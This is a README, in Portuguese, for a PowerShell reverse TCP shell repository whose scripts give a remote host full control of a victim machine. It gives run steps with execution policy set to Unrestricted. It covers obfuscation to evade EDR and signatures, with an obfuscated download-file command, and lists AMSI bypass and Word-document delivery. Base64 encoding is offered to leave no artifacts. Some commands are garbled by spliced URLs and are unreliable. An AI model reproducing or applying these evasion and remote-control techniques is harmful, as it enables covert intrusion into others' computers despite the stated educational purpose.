
powershell-reverse-tcp v5.0
Scripts PowerShell para comunicação com um host remoto.
PowerShell Reverse TCP
Scripts PowerShell para comunicação com um host remoto.
O host remoto terá controle total sobre o cliente e todos os comandos do sistema subjacente.
Verifique shells baseadas em:
Testado com PowerShell v5.1.19041.2673 no Windows 10 Enterprise (64 bits).
Feito para fins educacionais. Espero que ajude!
Este repositório começou a ter assinaturas conhecidas e não tenho tempo para enviar novos scripts a cada vez, então você deve ofuscar esses scripts por conta própria.
Planos futuros:
- mais shells baseadas em pipes de processo, e otimizá-las ainda mais.
Índice
- Como Executar
- Ofuscar Scripts PowerShell
- Bypass do AMSI
- Integração com MS Word
- Configurar um Ouvinte
- Runtime
Como Executar
Altere o endereço IP e o número da porta nos scripts conforme necessário.
Abra o PowerShell a partir de \src\invoke_expression\original\ ou \src\process_pipes\original\ e execute os comandos mostrados abaixo.
Defina a política de execução:```pwsh Set-ExecutionPolicy Unrestricted
Execute o script:```pwsh
.\powershell_reverse_tcp.ps1
Ou, execute o seguinte comando a partir do PowerShell ou do Prompt de Comando:```pwsh PowerShell -ExecutionPolicy Unrestricted -File .\powershell_reverse_tcp.ps1
## Ofuscar Scripts PowerShell
Tente contornar EDR e outros mecanismos de segurança ofuscando seus scripts. Você pode ver essas ofuscações nos exemplos abaixo.
Comando PowerShell original:```pwsh
(New-Object Net.WebClient).DownloadFile($url, $out)
Comando PowerShell ofuscado:```pwsh
& (GCM *ke-E*) '(& (GCM ew-O) NET.WEBCLIENT)."DOWNLOADFIL`E"($url, $out)'
**Verifique o script PowerShell original [aqui](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/original/powershell_reverse_tcp.ps1) e o totalmente ofuscado [aqui](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/invoke_obfuscation/powershell_reverse_tcp_obfuscated.ps1).**
Após [ofuscação manual](https://github.com/ivan-sincek/powershell-reverse-tcp/blob/master/src/invoke_expression/obfuscated/powershell_reverse_tcp_manual.ps1), o script PowerShell original foi ofuscado com [Invoke-Obfuscation](https://github.com/danielbohannon/Invoke-Obfuscation). Créditos ao autor!
Pesquise na Internet por técnicas e métodos adicionais de ofuscação.
P.S. Como o PowerShell é constantemente atualizado, algumas expressões regulares (ex.: `*ke-E*`) podem começar a lançar exceções devido à correspondência de múltiplos métodos à mesma expressão, portanto as expressões precisarão ser especificadas um pouco melhor.
### Comando Codificado do PowerShell
Para gerar um comando codificado do PowerShell a partir de um script PowerShell, execute o seguinte comando PowerShell:```pwsh
[Convert]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:ToBase64String(%5BText.Encoding%5D::Unicode.GetBytes(%5BIO.File%5D::ReadAllText($script)))
Para descodificar um comando codificado do PowerShell, execute o seguinte comando do PowerShell:```pwsh [Text.Encoding]:https://raw.githubusercontent.com/ivan-sincek/powershell-reverse-tcp/master/:Unicode.GetString(%5BConvert%5D::FromBase64String($command))
Use os comandos de uma linha abaixo se você não quiser deixar nenhum artefato para trás.
---